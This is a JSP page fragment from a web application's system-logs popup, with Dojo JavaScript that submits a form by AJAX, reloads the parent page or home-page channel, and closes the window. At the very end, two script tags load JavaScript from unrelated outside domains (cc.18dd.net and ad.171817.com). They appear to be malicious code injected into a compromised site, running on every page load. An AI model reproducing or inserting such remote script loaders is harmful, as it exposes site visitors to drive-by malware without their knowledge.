<%//tc.tang 2007-02-01%>
<%@page import="com.dcivision.user.bean.PersonalHomePreference"%>
<script type="text/javascript">
 //Use DoJO SUBMIT THE FORM
 submitFormByDojo = function(form,method){
	  var kw = {
	                mimetype: "text/plain",
					formNode: form,
					load: function(t, txt, e) {
						  try{
						    if(typeof method =="function"){
						      method();
						    }else{
						      eval(method);
						    }
						  }catch(e){}
						  
					},
					error: function(t, e) {
						//dojo.debug("Error!... " + e.message);
					}
				};
				dojo.io.bind(kw);
				return false;
	}
	
 setUnReadAjAX = function(form){
   shouldReloadParent = function(){
       reloadParent();
       window.close();  
   }
   
   afterFormSubmit = function(){
     //1.reload parentPage or refresh HomePage channel
     //2.close the window
     if(!checkFromHomePage(window.opener,"<%=PersonalHomePreference.SYSTEM_LOGS%>")){//did not from homepage
       shouldReloadParent();
     }else{
       refreshHomePageChannel(window.opener,"<%=PersonalHomePreference.SYSTEM_LOGS%>","window.close()");
     }
   }
   
   mainMethod = function(){
     //Use DOJO SEND THE AJAX REQUEST TO SUBMIT THE FORM
     submitFormByDojo(form,"afterFormSubmit()");
   }
   mainMethod();
 }
 
 //for closeButton
 opClose = function(){
   if(!checkFromHomePage(window.opener,"<%=PersonalHomePreference.SYSTEM_LOGS%>")){//did not from homepage
      reloadParent();
      window.close();
   }else{
      refreshHomePageChannel(window.opener,"<%=PersonalHomePreference.SYSTEM_LOGS%>","window.close()");//tc.add for refresh homepage channel
   }
 }
</script>
<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>